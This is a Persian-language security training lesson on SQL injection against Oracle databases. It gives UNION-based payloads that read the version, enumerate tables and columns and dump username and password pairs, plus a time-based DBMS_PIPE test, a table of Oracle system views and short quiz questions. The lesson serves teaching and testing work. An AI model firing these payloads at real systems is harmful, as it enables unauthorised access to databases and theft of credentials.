در حال بارگذاری...
تست تزریق SQL در پایگاه داده Oracle با تکنیکها و payloadهای خاص این پایگاه داده.
اهداف این درس
Oracle یکی از پرکاربردترین پایگاههای داده در سازمانهای بزرگ است. ویژگیهای خاص Oracle مثل dual، سیستم جداول و PL/SQL تکنیکهای متفاوتی نیاز دارند.
1-- شناسایی نسخه2' UNION SELECT banner FROM v$version WHERE ROWNUM=1 --34-- لیست جداول5' UNION SELECT table_name FROM all_tables WHERE ROWNUM=1 --67-- لیست ستونها8' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS' --910-- استخراج داده11' UNION SELECT username||':'||password FROM users --1213-- تست time-based14' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5) --| جدول | اطلاعات |
|---|---|
| ALL_TABLES | لیست تمام جداول قابل دسترسی |
| USER_TABLES | لیست جداول کاربر فعلی |
| ALL_TAB_COLUMNS | لیست تمام ستونها |
| V$VERSION | نسخه پایگاه داده |
| ALL_USERS | لیست تمام کاربران |
Oracle از dual برای queryهای بدون جدول استفاده میکند.
سیستم جداول Oracle اطلاعات زیادی درباره پایگاه داده فاش میکند.
PL/SQL زبان procedural Oracle است که ممکن است آسیبپذیر باشد.
در Oracle، از کدام جدول برای لیست کردن تمام جداول استفاده میشود؟
ویژگی خاص Oracle در SQL Injection چیست؟
Oracle از dual برای queryهای بدون جدول استفاده میکند و سیستم جداول قدرتمندی مثل ALL_TABLES دارد.